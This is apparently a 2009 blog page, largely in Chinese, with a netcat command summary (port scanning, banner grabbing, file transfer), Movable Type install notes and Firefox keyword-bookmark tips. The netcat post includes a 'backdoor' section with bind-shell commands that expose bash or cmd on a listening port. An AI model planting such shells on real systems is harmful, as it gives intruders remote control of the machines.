March 17, 2009

[LCOTW] Netcat notes 10:38 am

LCOTW (Linux Commands Of The Week) Tag 下是每周总结 Linux 命令用法的活动。
本文内容是 netcat tutorial 的简化中文版。

1. 端口扫描
netcat -v -w 2 -z localhost 20-80
-v 是 verbose 模式
-w 设置超时时间
-z 设置 Zero IO,在监听模式下,会拒绝所有连接,在访问模式下会在建立连接后马上断开

2. 踩点
netcat -v localhost 80
用这个命令可以查看 HTTP 连接的信息,输入 GET HTTP 构造一个非法请求以刺探服务器信息,我通常用 curl 来作这件事:

curl -I localhost

3. 用 netcat 作后门
服务端(即被入侵端)

netcat -l -p 10001 -e bash

如果服务端是 windows 就输入:

netcat -l -p 10001 -e cmd

在 GNU netcat 0.7.1 里面 -d 是开启 debug 模式的选项,但旧版里是 Tells Netcat to detach from the process we want it to run
从客户端连接:

netcat -v localhost 10001

4. 文件传输
在服务端:

netcat -l -p 10001 > file.dat

在客户端:

netcat localhost 10001 < file_to_be_transfered.dat

记住按 ctrl+c 终止传输,检查文件的 md5 是否一致。

补充一个关于 Mldonkey 的技巧,Mldonkey 支持 telnet 方式检查下载状态,但登入登出 telnet 太麻烦,用 netcat 可以简化这个过程:

 echo -e 'vd\nexit' | netcat localhost 4000

谢谢 chroot 提供这个方法

Filed under: System — Tags: , , Comments (1)

Movable Type 4 installation notes 9:55 am

Installation
1. Uncompress movable type package, move mt-static folder to htdocs/
2. Modify mt-config.cgi, choose your prefered DBI and remove the other chunk of code, add

MailEncoding UTF-8

to mt-config.pl
3. Move all the other files to cgi-bin/mt/, assign executive right to cgi scripts
4. Access http://localhost/cgi-bin/mt/mt.cgi

Theming
1. Modify the css file which can be located at static/themes-base/blog.css
2. Remove “powered by” widget
3. Modify template in admin page
4. To backup templates, every template should be linked with a local file, then you can modify the files on disk to customize looking.

Plugins
Comming soon

Filed under: Programming — Tags: Comments (0)

March 16, 2009

Firefox 的地址栏检索功能 4:17 pm

以前开会发现老板总是在地址栏输入 php function_name 来查找 PHP 函数,还以为他用了 Firefox 扩展,今天突然想起来问问他原来通过书签就能实现。

在书签中加入 http://php.net/%s,然后给这个书签设置一个叫 php 的关键字,这样在地址栏输入 php preg_match 就直接跳到 PHP 的文档页了,非常方便。

如法炮制出下面的书签:

http://dict.cn/search.php?q=%s

http://www.baidu.com/s?wd=%s

http://docs.python.org/search.html?q=%s

/** python 的搜索结果是 ajax 载入的,不过连个载入进度条都没有,老让我以为没有找到结果 */

Filed under: System — Tags: , Comments (0)